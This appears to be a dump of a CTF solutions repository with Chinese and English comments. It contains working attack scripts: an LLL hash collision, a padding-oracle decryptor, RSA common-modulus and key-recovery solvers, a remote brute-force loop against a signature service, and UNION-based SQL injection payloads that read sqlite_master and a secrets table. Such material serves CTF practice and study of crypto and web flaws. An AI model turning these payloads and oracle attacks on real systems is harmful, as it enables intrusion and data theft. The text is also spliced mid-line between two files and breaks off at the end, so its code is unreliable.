为了找到这样的一组满足条件的$c_i$,其中$c_i$都很小,我想到了用[LLL算法](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)解决[SVP](https://en.wikipedia.org/wiki/Lattice_problem)问题. 463 | [矩阵构造参考](https://www.di.ens.fr/~granboul/recherche/publications/data/hash.pdf) 464 | 构造矩阵如下 465 | $$ 466 | \begin{matrix} 467 | Kg^n & 1 & 0 & 0 & ... & 0 \\ 468 | Kg^{n-1} & 0 & 1 & 0 &... & 0 \\ 469 | Kg& 0 & 0 & 1&... & 0 \\ 470 | ......\\ 471 | K2^{256} & 0 & 0 & 0 &... & 0 472 | \end{matrix} 473 | $$ 474 | 当我们的K足够大时, reduced rows xxx[0] == 0 ,并且$c_i$ = xxx[i+1],当n足够大,找到的xxx中的每个元素就很小,从而满足$0<=a_i+c_i<=255$ 475 | 关于LLL算法作用太多了,其原理我也不清楚,自行google 476 | reference: 477 | https://latticehacks.cr.yp.to/slides-dan+nadia+tanja-20171228-latticehacks-16x9.pdf 478 | https://cseweb.ucsd.edu/~daniele/CSE207C/ 479 | 实现:(sage 脚本) 480 | ```python 481 | from sage.all import * 482 | 483 | mod = 2**256 484 | h0 = 45740974929179720441799381904411404011270459520712533273451053262137196814399 485 | 486 | g = 2**168 + 355 487 | 488 | K = 2**256 489 | 490 | base = map(ord, "7feilee"*8) 491 | N = len(base) 492 | 493 | m = matrix(ZZ, N + 1, N + 2) 494 | for i in xrange(N): 495 | ge = pow(g, N-i, mod) 496 | m[i,0] = ge 497 | m[i,1+i] = 1 498 | m[N,0] = mod 499 | for i in xrange(N+1): 500 | m[i,0] *= K 501 | 502 | ml = m.LLL() 503 | 504 | ttt = ml.rows()[0] 505 | print "result:", ttt 506 | if ttt[0] != 0: 507 | print "Error" 508 | exit() 509 | if not base: 510 | base = [BASE] * N 511 | msg = [] 512 | for i in range(N): 513 | msg.append(base[i] + ttt[1+i]) 514 | if not (0 <= msg[-1] <= 255): 515 | print "Need more bytes!" 516 | quit() 517 | 518 | 519 | def shitty_hash(msg): 520 | h = h0 521 | for i in msg: 522 | h = (h + i)*g 523 | # This line is just to screw you up :)) 524 | h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff#mod2**256 525 | #print h 526 | 527 | return h - 0xe6168647f636 528 | 529 | def pure_hash(msg): 530 | h = 0 531 | for i in msg: 532 | h = (h + i)*g 533 | # This line is just to screw you up :)) 534 | h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff#mod2**256 535 | return h 536 | 537 | print base 538 | print "m1:", "".join(map(chr, base)) 539 | print hex(shitty_hash(base)), shitty_hash(base) 540 | print msg 541 | diff = [i-j for i,j in zip(msg,base)] 542 | print diff 543 | print hex(pure_hash(diff)) 544 | print "m2:", "".join(map(chr, msg)) 545 | print hex(shitty_hash(msg)), shitty_hash(msg) 546 | ''' 547 | result: (0, 2, 10, 0, 14, 12, 6, -9, 5, -1, 10, 14, 7, 4, -7, -9, 1, -6, -11, -2, 4, 5, -9, -3, -7, -12, -18, -2, 9, -6, 20, 14, 3, -2, -10, -11, -8, -11, -4, -3, -3, 8, -2, -2, -7, 10, 1, -7, -6, 1, -3, -11, 0, -2, -2, -13, -3, 0) 548 | linear combination 1:[55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101] 549 | m1: 7feilee7feilee7feilee7feilee7feilee7feilee7feilee7feilee 550 | 0xdc50edf5709e590380c17156e4a9c6bf29938a8926eee56efd3e96e861cf4079L 99651816784432116140389266578054142896984837252368337731439517562844400795769 551 | linear combination 1+linear combination 2:[57, 112, 101, 119, 120, 107, 92, 60, 101, 111, 119, 115, 105, 94, 46, 103, 95, 94, 106, 105, 106, 46, 99, 94, 93, 90, 99, 110, 49, 122, 115, 108, 106, 91, 90, 47, 91, 97, 102, 105, 109, 99, 53, 95, 111, 106, 101, 95, 102, 52, 91, 101, 103, 106, 88, 98] 552 | linear combination 2:[2, 10, 0, 14, 12, 6, -9, 5, -1, 10, 14, 7, 4, -7, -9, 1, -6, -11, -2, 4, 5, -9, -3, -7, -12, -18, -2, 9, -6, 20, 14, 3, -2, -10, -11, -8, -11, -4, -3, -3, 8, -2, -2, -7, 10, 1, -7, -6, 1, -3, -11, 0, -2, -2, -13, -3] 553 | 0#pure_hash(linear combination 2 == 0),which cause the collision 554 | m2: 9pewxk\ 0 and int(valide_value[-1],16) == ct_pos): 82 | 83 | bk = block_search_byte(size_block, i, ct_pos, valide_value) 84 | bp = cipher_block[block-1] 85 | bc = block_padding(size_block, i) 86 | 87 | tmp = hex_xor(bk,bp) 88 | cb = hex_xor(tmp,bc).upper() 89 | 90 | up_cipher = cb + cipher_block[block] 91 | #time.sleep(0.5) 92 | 93 | 94 | if verbose == True: 95 | exe = re.findall('..',cb) 96 | discover = ('').join(exe[size_block-i:size_block]) 97 | current = ('').join(exe[size_block-i-1:size_block-i]) 98 | find_me = ('').join(exe[:-i-1]) 99 | 100 | stdout.write("[+] Test [Byte %03i/256 - Block %d ]: \033[31m%s\033[33m%s\033[36m%s\033[0m\r" % (ct_pos, block, find_me, current, discover)) 101 | stdout.flush() 102 | 103 | if test_validity(up_cipher): 104 | 105 | found = True 106 | 107 | # data analyse and insert in rigth order 108 | value = re.findall('..',bk) 109 | valide_value.insert(0,value[size_block-(i+1)]) 110 | 111 | if verbose == True: 112 | print '' 113 | print "[+] Block M_Byte : %s"% bk 114 | print "[+] Block C_{i-1}: %s"% bp 115 | print "[+] Block Padding: %s"% bc 116 | print '' 117 | 118 | bytes_found = ''.join(valide_value) 119 | if i == 0 and bytes_found.decode("hex") > hex(size_block) and block == len(cipher_block)-1: 120 | print "[-] Error decryption failed the padding is > "+str(size_block) 121 | sys.exit() 122 | 123 | print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found 124 | print '' 125 | 126 | break 127 | if found == False: 128 | # lets say padding is 01 for the last byte of the last block (the padding block) 129 | if len(cipher_block)-1 == block and i == 0: 130 | value = re.findall('..',bk) 131 | valide_value.insert(0,"01") 132 | if args.verbose == True: 133 | print '' 134 | print '[-] No padding found, but maybe the padding is length 01 :)' 135 | print "[+] Block M_Byte : %s"% bk 136 | print "[+] Block C_{i-1}: %s"% bp 137 | print "[+] Block Padding: %s"% bc 138 | print '' 139 | bytes_found = ''.join(valide_value) 140 | else: 141 | print "\n[-] Error decryption failed" 142 | result.insert(0, ''.join(valide_value)) 143 | hex_r = ''.join(result) 144 | print "[+] Partial Decrypted value (HEX):", hex_r.upper() 145 | padding = int(hex_r[len(hex_r)-2:len(hex_r)],16) 146 | print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex") 147 | sys.exit() 148 | found = False 149 | 150 | result.insert(0, ''.join(valide_value)) 151 | valide_value = [] 152 | 153 | print '' 154 | hex_r = ''.join(result) 155 | print "[+] Decrypted value (HEX):", hex_r.upper() 156 | padding = int(hex_r[len(hex_r)-2:len(hex_r)],16) 157 | print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex") 158 | 159 | if __name__ == '__main__': 160 | verbose = True 161 | #set IV = "00"*16 162 | cipher = "00"*16+"4d63406edd37fd21ebe26fab684d3c85d6e72a892012a83f258e42985f28b47dc6b70cc02f05b9027c23d0018c40fc33" 163 | run(cipher, 16) 164 | ''' 165 | 166 | [+] Decrypted value (HEX): 353F323428033237373A3D340C3C2132636C6526466C69707065645F426974737D0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F 167 | [+] Decrypted value (ASCII): 5?24(\x03277:=4\x0c the first block of the message should xor with IV now it is time to guess IV 169 | "53535353535353535353535353535353" -> flag{Padding_oracle&Flipped_Bits} 170 | 171 | [+] Block M_Byte : 666c61677b50616464696e675f6f7261 172 | [+] Block C_{i-1}: 53535353535353535353535353535353 173 | [+] Block Padding: 10101010101010101010101010101010 174 | 175 | [+] Found 16 bytes : 666c61677b50616464696e675f6f7261 176 | 177 | 178 | [+] Decrypted value (HEX): 666C61677B50616464696E675F6F7261636C6526466C69707065645F426974737D0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F 179 | [+] Decrypted value (ASCII): flag{Padding_oracle&Flipped_Bits} 180 | [*] Closed connection to 117.50.10.241 port 10010 181 | ''' 182 | -------------------------------------------------------------------------------- /2018/网鼎杯第二场online_2018/solve_N.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | import libnum 3 | import gmpy2 4 | from base64 import b64decode 5 | 6 | pubkey1 = RSA.importKey(open("pubkey1.pem").read()) 7 | pubkey2 = RSA.importKey(open("pubkey2.pem").read()) 8 | c1 = libnum.s2n(b64decode(open("flag1.enc").read())) 9 | c2 = libnum.s2n(b64decode(open("flag2.enc").read())) 10 | print c1,c2 11 | print pubkey1.e 12 | print pubkey1.n 13 | print pubkey2.e 14 | print pubkey2.n 15 | print pubkey1.n == pubkey2.n 16 | print gmpy2.gcd(pubkey1.e, pubkey2.e) 17 | gcd, s, t = gmpy2.gcdext(pubkey1.e, pubkey2.e) 18 | if s < 0: 19 | s = -s 20 | c1 = gmpy2.invert(c1, pubkey1.n) 21 | if t < 0: 22 | t = -t 23 | c2 = gmpy2.invert(c2, pubkey1.n) 24 | m = gmpy2.powmod(c1, s, pubkey1.n) * gmpy2.powmod(c2, t, pubkey1.n) % pubkey1.n 25 | print libnum.n2s(m) -------------------------------------------------------------------------------- /2019/hacklu_2019/lverify_solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | ''' 4 | data layout: Idea is to overlay the last byte of &004080b0 change to DAT_00408090 5 | so we can brute byte by byte to compare the signuture and output the flag. 6 | construct flag len("flag...")= 31 + chr(192) + chr(0x90) 7 | DAT_004080b0 = &DAT_00408070; 8 | DAT_004080b8 = &DAT_00408090; 9 | DAT_004080c0 = &DAT_00404070; 10 | In [178]: for i in range(0,256): 11 | ...: if i&0xe0==224: 12 | ...: print(i,end=",") 13 | ...: 14 | ...: 15 | 224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255, 16 | In [179]: for i in range(0,256): 17 | ...: if i&0xf0==240: 18 | ...: print(i,end=",") 19 | ...: 20 | ...: 21 | ...: 22 | 240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255, 23 | In [180]: for i in range(0,256): 24 | ...: if i&0xc0==192: 25 | ...: print(i,end=",") 26 | ...: 27 | ...: 28 | ...: 29 | 192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255, 30 | ''' 31 | io = remote("lamport.forfuture.fluxfingers.net", 1337) 32 | io.sendline(chr(255)) 33 | data = io.recvuntil("The message is ") 34 | loop = 512 35 | constant = data.split("[+] Signature:\n")[1].replace("\n","") 36 | io.close() 37 | flag = [32]*31 38 | for i in range(0,32): 39 | for j in range(32,127): 40 | io = remote("lamport.forfuture.fluxfingers.net", 1337) 41 | guess = "".join([chr(z) for z in flag]) + chr(192) + chr(0x90) 42 | io.sendline(guess) 43 | time.sleep(1) 44 | data = io.recvuntil("The message is ") 45 | sign = data.split("[+] Signature:\n")[1].replace("\n","") 46 | io.close() 47 | for k in range(0,31): 48 | if sign[512*k:512*(k+1)] != constant[512*k:512*(k+1)]: 49 | flag[k]=flag[k]+1 50 | print guess 51 | -------------------------------------------------------------------------------- /2019/hacklu_2019/npp_web.md: -------------------------------------------------------------------------------- 1 | ## Nucular Power Plant 2 | ```plain 3 | " union select sql,sql,1,1,sql,1 from sqlite_master where table = "secret"-- - 4 | " union select name,value,1,1,name,1 from secret-- - 5 | 6 | {"name":"CREATE TABLE secret (\n id INTEGER PRIMARY KEY,\n name TEXT NOT NULL,\n value TEXT NOT NULL\n )","type":"CREATE TABLE secret (\n id INTEGER PRIMARY KEY,\n name TEXT NOT NULL,\n value TEXT NOT NULL\n )","power":1,"operation":1,"operator":"CREATE TABLE secret (\n id INTEGER PRIMARY KEY,\n name TEXT NOT NULL,\n value TEXT NOT NULL\n )","shutdown":1} 7 | {"name":"flag","type":"flag{sqli_as_a_socket}","power":1,"operation":1,"operator":"flag","shutdown":1} 8 | ``` 9 | -------------------------------------------------------------------------------- /2019/hitcon_2019/lostmoduleagain_solve.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from Crypto.Util.number import long_to_bytes,bytes_to_long 3 | import sympy as sym 4 | import gmpy2 5 | 6 | class Key: 7 | def __init__(self, bits): 8 | assert bits >= 512 9 | self.p = getPrime(bits) 10 | self.q = getPrime(bits) 11 | self.n = self.p * self.q 12 | self.e = 0x100007 13 | self.d = inverse(self.e, (self.p-1)*(self.q-1)) 14 | self.dmp1 = self.d%(self.p-1) 15 | self.dmq1 = self.d%(self.q-1) 16 | self.iqmp = inverse(self.q, self.p) 17 | self.ipmq = inverse(self.p, self.q) 18 | 19 | def encrypt(self, data): 20 | num = bytes_to_long(data) 21 | result = pow(num, self.e, self.n) 22 | return long_to_bytes(result) 23 | 24 | def decrypt(self, data): 25 | num = bytes_to_long(data) 26 | v1 = pow(num, self.dmp1, self.p) 27 | v2 = pow(num, self.dmq1, self.q) 28 | result = (v2*self.p*self.ipmq+v1*self.q*self.iqmp) % self.n 29 | return long_to_bytes(result) 30 | 31 | def __str__(self): 32 | return "Key([e = {0}, d = {1},n = {2}, x = {3}, y = {4}])".format(self.e, self.d,self.n, self.iqmp, self.ipmq) 33 | e = 1048583 34 | d = 20899585599499852848600179189763086698516108548228367107221738096450499101070075492197700491683249172909869748620431162381087017866603003080844372390109407618883775889949113518883655204495367156356586733638609604914325927159037673858380872827051492954190012228501796895529660404878822550757780926433386946425164501187561418082866346427628551763297010068329425460680225523270632454412376673863754258135691783420342075219153761633410012733450586771838248239221434791288928709490210661095249658730871114233033907339401132548352479119599592161475582267434069666373923164546185334225821332964035123667137917080001159691927 35 | x = 22886390627173202444468626406642274959028635116543626995297684671305848436910064602418012808595951325519844918478912090039470530649857775854959462500919029371215000179065185673136642143061689849338228110909931445119687113803523924040922470616407096745128917352037282612768345609735657018628096338779732460743 36 | y = 138356012157150927033117814862941924437637775040379746970778376921933744927520585574595823734209547857047013402623714044512594300691782086053475259157899010363944831564630625623351267412232071416191142966170634950729938561841853176635423819365023039470901382901261884795304947251115006930995163847675576699331 37 | c = 6315517144108346181816723099897023675574911374735398936591833706590364258184564710827234427731055048559822607765825888615252018165526396090041236515481884097316115657845863616027191241546872931338194871262588098949428397377758354022592306745947669728354322461011070818767686781572984901259034033895184947744496886943392083163678583781999851929812332715335746883110069495497948728241194518127509291959160766882315610259762352662845983222877441386838765184047248466927144181212035420321292287216414973587365695429489044345623525454703093721722072717560946535366845119502057231317372617085049803374310078177219696035587 38 | print(e*d//(pow(2,1024)*pow(2,1024))) 39 | kmin = 678124 40 | kmax = 2712497 41 | p = sym.Symbol('p') 42 | q = sym.Symbol('q') 43 | # factor(e*d -1) 2^5 · 3^5 · 5 · 13 · 31 · 47 · 331 · 449 · 1381 · 37693 44 | res = [678474, 681876, 697086, 700065, 700440, 708102, 718120, 723788, 727380, 738792, 742365, 743095, 745740, 751626, 753860, 757640, 759708, 770598, 774540, 778884, 783432, 786780, 787995, 800358, 804330, 807885, 808964, 823017, 831141, 835140, 840078, 843791, 844120, 852345,856220, 872856, 891714, 894888, 904632, 904735, 914222, 923490, 929448, 933420, 944136, 945594, 949635, 964534, 969462, 973605, 979290, 980018, 989820, 1002168, 1011205, 1017711, 1022814, 1027464, 1045629, 1050660, 1067144, 1072440, 1077180, 1085682, 1091070, 1097356, 1108188, 1113086, 1118610, 1120104, 1127439, 1130790, 1136460, 1139562, 1155897, 1161810, 1168326, 1168483, 1180170, 1187784, 1188952, 1200537, 1213446, 1231320, 1240138, 1252710, 1260117, 1260792, 1266180, 1284330, 1292616, 1298140, 1305720, 1308386, 1333930, 1337571, 1342332, 1356948, 1363752, 1371333, 1371695, 1385235, 1394172, 1400130, 1416204, 1418391, 1446801, 1447576, 1454193, 1454760, 1470027, 1484730, 1486190, 1491480, 1503252, 1507720, 1519416, 1534221, 1541196, 1549080, 1557768, 1573560, 1575990, 1600716, 1608660, 1615770, 1617928, 1628523, 1646034, 1662282, 1669629, 1670280, 1677915, 1680156, 1687582, 1696185, 1704690, 1709343, 1712440, 1742715, 1752489, 1770255, 1771571, 1783428, 1809470, 1820169, 1828444, 1846980, 1860207, 1866840, 1879065, 1891188, 1899270, 1926495, 1929068, 1932047, 1938924, 1947210, 1958580, 1960036, 1962579, 1979640, 2000895, 2012117, 2022410, 2035422, 2045628, 2091258, 2100195, 2101320, 2154360, 2171364, 2182140, 2194712, 2216376, 2226172, 2229285, 2237220, 2254878, 2261580, 2272920, 2279124, 2285555, 2311794, 2323620, 2336652, 2336966, 2360340, 2363985, 2401074, 2411335, 2423655, 2426892, 2450045, 2469051, 2480276, 2493423, 2505420, 2520234, 2531373, 2532360, 2557035, 2568660, 2596280, 2616772, 2667860, 2675142, 2684664] 45 | for k in res: 46 | solution = sym.solve((x*q*q-(p*q+1)*q+y*(p*q),e*d-k*(p-1)*(q-1)-1), (p, q)) 47 | for loop in solution: 48 | a,b = loop 49 | if a > 0 and b > 0: 50 | print("found: ",a,b) 51 | p = 135136928230019073146158752709151576119155564982754768027494878210491711363872928718225319693774548227271767324623087432404412585662574641211148315864508708036871556964386141364368797168619283425834644924573664613109609076319077176698754203574237779054129492453503018443013301394555677417140681949745410143477 52 | q = 166564961597106229342966450443567005929416288372170308009700499465281616388542030734600089639466922805142577582894052957547174764252067983124558747593344882775630971023610755334859287415681252266825395627416912206349590353878868107848653100299011246746851490276537231636534462821659050996145878589643016881929 53 | print(long_to_bytes(pow(c,d,(p*q)))) 54 | # hitcon{1t_is_50_easy_t0_find_th3_modulus_back@@!!@!@!@@!} 55 | -------------------------------------------------------------------------------- /2019/xnuca_2019_final/solve_cry2.py: -------------------------------------------------------------------------------- 1 | from sage.all import * 2 | p =3288422216999903423661700108901083108575994106944884145571316999921204146787666227291955543324239046057785823700493841038265850996232357479480102071642589 3 | n = 16597746147249532247313381804232853931084270059271432789681424149662363475662745587224756968693512120654332090998063914792173867021664880270091034083347370105767920555864814140123045223783344892866301669542507057829821168626181601212308267787015983118032887285133151191383891486184889114994173062857860171351 4 | e = 7 5 | d0 = 343451398509615859442849377366687472790356452786853392072112558231250061287660705568272638120099956860613924535278628288281586489537632281361059909399161556241133504579321799133085157979094796960482574697558530316982367870152118359 6 | known_bits = 500 7 | d0 = d0 % (2 ** 510) 8 | X = var('X') 9 | P. = PolynomialRing(Zmod(n)) 10 | for k in range(1, e+1,1): 11 | print(k) 12 | try: 13 | results = solve_mod([e * d0 * X - k * X * (n - X + 1)*(p-1) + k * n *(p-1)== X], 2 ** known_bits) 14 | for m in results: 15 | print(m[0]) 16 | f = x * 2 ** known_bits + ZZ(m[0]) 17 | f = f.monic() 18 | roots = f.small_roots(X = 2 ** (512-500), beta=0.3) 19 | if roots: 20 | print(roots) 21 | x0 = roots[0] 22 | q1 = gcd(2 ** known_bits * x0 + ZZ(m[0]), n) 23 | print('[+] Found factorization!') 24 | print('q1 =', ZZ(q1)) 25 | print('q2 =', n / ZZ(q1)) 26 | break 27 | except: 28 | continue 29 | p =3288422216999903423661700108901083108575994106944884145571316999921204146787666227291955543324239046057785823700493841038265850996232357479480102071642589 30 | 31 | n = 54580397182739912335376330801514560808534378753846350995419578067656755867243870073445854335844358326878566119551057553139363647728400886863767875291906080633173065202701573390251537106493792229480326778970832492725717643550358608531505584646072555177837299213009013314327846948963544662473070227953727161317904038137823434569495135916298611352964518151986315681391530493052604576831259172476211158951329919970235487267372187125876292271088905311799477569267739 32 | c = 49869844698848599191424033997655237749665530908239044936694535125887900603704350719900641922970802648673249568670750527924761908125543162254223888002099942596941033383503096686373752238771229983034735635693504897316301489736557100581419752458242416211917551111923109367626016272287394002810362989991474456088280552255576029205508896664588713771229744677826904374660549517673984057742367379244384117320892862126982326170099417167974101776171209333436778309094577 33 | n1 = n/p 34 | q2 = 5517831324006942795599422725480474271762380946611190781111978686110731952752858710698005823515027868947630505335349062725169538285013125885077529317183573 35 | q1 = n1/q2 36 | d = inverse_mod(7,(p-1)*(q2-1)*(q1-1)) 37 | from Crypto.Util.number import long_to_bytes 38 | long_to_bytes(pow(c,d,n)) 39 | 40 | # >> XNUCA{it_m4y_raiN_if_1t_i5_cloudy} 41 | -------------------------------------------------------------------------------- /2020/Bytectf/apake_solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from gmssl import sm3, func # pip3 install gmssl 3 | from binascii import a2b_hex, b2a_hex 4 | from Crypto.Util.number import long_to_bytes, bytes_to_long 5 | 6 | sm2p256v1_ecc_table = { 7 | 'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123', 8 | 'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF', 9 | 'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' + 10 | 'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0', 11 | 'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC', 12 | 'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93', 13 | } 14 | 15 | class APAKE(object): 16 | def __init__(self, hashed_pwd, pk): 17 | self.ecc_table = sm2p256v1_ecc_table 18 | self.para_len = len(self.ecc_table['n']) 19 | self.ecc_a3 = (int(self.ecc_table['a'], base=16) + 3) % int(self.ecc_table['p'], base=16) 20 | self.hashed_pwd = hashed_pwd 21 | self.K = None 22 | self.public_key = pk #self._kg(int(sk, 16), self.ecc_table['g']) 23 | 24 | def sm3_hash_str(self, msg): 25 | return sm3.sm3_hash(func.bytes_to_list(msg.encode())) 26 | 27 | def calc_pk(self, index): 28 | powG = self._kg(1 << index, self.ecc_table['g']) 29 | self.public_key = self._add_point(self.public_key, powG) 30 | self.public_key = self._convert_jacb_to_nor(self.public_key) 31 | return self.public_key 32 | 33 | def calc_kG(self, A): 34 | hpi = int(self.hashed_pwd, 16) 35 | n_sub_hpi = (int(self.ecc_table['n'], base=16) - hpi) % int(self.ecc_table['n'], base=16) 36 | n_sub_hpi_G = self._kg(n_sub_hpi, self.ecc_table['g']) 37 | K_sub_hpi_G = self._add_point(A, n_sub_hpi_G) 38 | K_sub_hpi_G = self._convert_jacb_to_nor(K_sub_hpi_G) 39 | return K_sub_hpi_G 40 | 41 | def send_client(self, kc_str): 42 | kc = int(kc_str, 16) 43 | hpi = int(self.hashed_pwd, 16) 44 | a = (kc + hpi) % int(self.ecc_table['n'], base=16) 45 | A = self._kg(a, self.ecc_table['g']) 46 | return A 47 | 48 | def calc_B(self): 49 | hpi = int(self.hashed_pwd, 16) 50 | hpi_G = self._kg(hpi, self.ecc_table['g']) 51 | B = self._add_point(hpi_G, self.ecc_table['g']) 52 | B = self._convert_jacb_to_nor(B) 53 | return B 54 | 55 | def calc_c(self, cipher, kg, index): 56 | self.K = kg 57 | enc_K = self.sm3_hash_str(self.K) 58 | c = int(cipher, 16) ^ int(enc_K, 16) ^ (1 << index) 59 | return '%064x' % c 60 | 61 | def prove_client(self, password, kc_str, A, B, c_prime): 62 | kc = int(kc_str, 16) 63 | hpi = int(self.hashed_pwd, 16) 64 | n_sub_hpi = (int(self.ecc_table['n'], base=16) - hpi) % int(self.ecc_table['n'], base=16) 65 | n_sub_hpi_G = self._kg(n_sub_hpi, self.ecc_table['g']) 66 | B_sub_hpi_G = self._add_point(B, n_sub_hpi_G) 67 | B_sub_hpi_G = self._convert_jacb_to_nor(B_sub_hpi_G) 68 | self.K = self._kg(kc, B_sub_hpi_G) 69 | enc_K = self.sm3_hash_str(self.K) 70 | sk = '%064x' % (int(c_prime, 16) ^ int(password, 16) ^ int(enc_K, 16)) 71 | transcript = A + B + c_prime 72 | signature = self._sign(transcript, sk) 73 | return signature 74 | 75 | def _sign(self, data, sk): 76 | k_str = func.random_hex(len(self.ecc_table['n'])) 77 | k = int(k_str, 16) % int(self.ecc_table['n'], base=16) 78 | R = self._kg(k, self.ecc_table['g']) 79 | x1 = R[0:self.para_len] 80 | e_str = self.sm3_hash_str(x1 + data) 81 | e = int(e_str, 16) 82 | d = int(sk, 16) 83 | s = (k - d * e) % int(self.ecc_table['n'], base=16) 84 | return '%064x%064x' % (s, e) 85 | 86 | def _verify(self, data, pk, signature): 87 | s = int(signature[0:self.para_len], 16) 88 | e = int(signature[self.para_len:2 * self.para_len], 16) 89 | sG = self._kg(s, self.ecc_table['g']) 90 | eP = self._kg(e, pk) 91 | R = self._add_point(sG, eP) 92 | R = self._convert_jacb_to_nor(R) 93 | x1 = R[0:self.para_len] 94 | e_str = self.sm3_hash_str(x1 + data) 95 | return e == int(e_str, 16) 96 | 97 | def _kg(self, k, Point): 98 | if (k % int(self.ecc_table['n'], base=16)) == 0: 99 | return '0' * 128 100 | Point = '%s%s' % (Point, '1') 101 | mask_str = '8' 102 | for i in range(self.para_len - 1): 103 | mask_str += '0' 104 | mask = int(mask_str, 16) 105 | Temp = Point 106 | flag = False 107 | for n in range(self.para_len * 4): 108 | if flag: 109 | Temp = self._double_point(Temp) 110 | if (k & mask) != 0: 111 | if flag: 112 | Temp = self._add_point(Temp, Point) 113 | else: 114 | flag = True 115 | Temp = Point 116 | k = k << 1 117 | return self._convert_jacb_to_nor(Temp) 118 | 119 | def _double_point(self, Point): 120 | l = len(Point) 121 | len_2 = 2 * self.para_len 122 | if l < self.para_len * 2: 123 | return None 124 | else: 125 | x1 = int(Point[0:self.para_len], 16) 126 | y1 = int(Point[self.para_len:len_2], 16) 127 | if l == len_2: 128 | z1 = 1 129 | else: 130 | z1 = int(Point[len_2:], 16) 131 | 132 | T6 = (z1 * z1) % int(self.ecc_table['p'], base=16) 133 | T2 = (y1 * y1) % int(self.ecc_table['p'], base=16) 134 | T3 = (x1 + T6) % int(self.ecc_table['p'], base=16) 135 | T4 = (x1 - T6) % int(self.ecc_table['p'], base=16) 136 | T1 = (T3 * T4) % int(self.ecc_table['p'], base=16) 137 | T3 = (y1 * z1) % int(self.ecc_table['p'], base=16) 138 | T4 = (T2 * 8) % int(self.ecc_table['p'], base=16) 139 | T5 = (x1 * T4) % int(self.ecc_table['p'], base=16) 140 | T1 = (T1 * 3) % int(self.ecc_table['p'], base=16) 141 | T6 = (T6 * T6) % int(self.ecc_table['p'], base=16) 142 | T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16) 143 | T1 = (T1 + T6) % int(self.ecc_table['p'], base=16) 144 | z3 = (T3 + T3) % int(self.ecc_table['p'], base=16) 145 | T3 = (T1 * T1) % int(self.ecc_table['p'], base=16) 146 | T2 = (T2 * T4) % int(self.ecc_table['p'], base=16) 147 | x3 = (T3 - T5) % int(self.ecc_table['p'], base=16) 148 | 149 | if (T5 % 2) == 1: 150 | T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(self.ecc_table['p'], base=16) 151 | else: 152 | T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16) 153 | 154 | T1 = (T1 * T4) % int(self.ecc_table['p'], base=16) 155 | y3 = (T1 - T2) % int(self.ecc_table['p'], base=16) 156 | 157 | form = '%%0%dx' % self.para_len 158 | form = form * 3 159 | return form % (x3, y3, z3) 160 | 161 | def _add_point(self, P1, P2): 162 | if P1 == '0' * 128: 163 | return '%s%s' % (P2, '1') 164 | if P2 == '0' * 128: 165 | return '%s%s' % (P1, '1') 166 | len_2 = 2 * self.para_len 167 | l1 = len(P1) 168 | l2 = len(P2) 169 | if (l1 < len_2) or (l2 < len_2): 170 | return None 171 | else: 172 | X1 = int(P1[0:self.para_len], 16) 173 | Y1 = int(P1[self.para_len:len_2], 16) 174 | if l1 == len_2: 175 | Z1 = 1 176 | else: 177 | Z1 = int(P1[len_2:], 16) 178 | x2 = int(P2[0:self.para_len], 16) 179 | y2 = int(P2[self.para_len:len_2], 16) 180 | 181 | T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16) 182 | T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16) 183 | T3 = (x2 * T1) % int(self.ecc_table['p'], base=16) 184 | T1 = (T1 * T2) % int(self.ecc_table['p'], base=16) 185 | T2 = (T3 - X1) % int(self.ecc_table['p'], base=16) 186 | T3 = (T3 + X1) % int(self.ecc_table['p'], base=16) 187 | T4 = (T2 * T2) % int(self.ecc_table['p'], base=16) 188 | T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16) 189 | Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16) 190 | T2 = (T2 * T4) % int(self.ecc_table['p'], base=16) 191 | T3 = (T3 * T4) % int(self.ecc_table['p'], base=16) 192 | T5 = (T1 * T1) % int(self.ecc_table['p'], base=16) 193 | T4 = (X1 * T4) % int(self.ecc_table['p'], base=16) 194 | X3 = (T5 - T3) % int(self.ecc_table['p'], base=16) 195 | T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16) 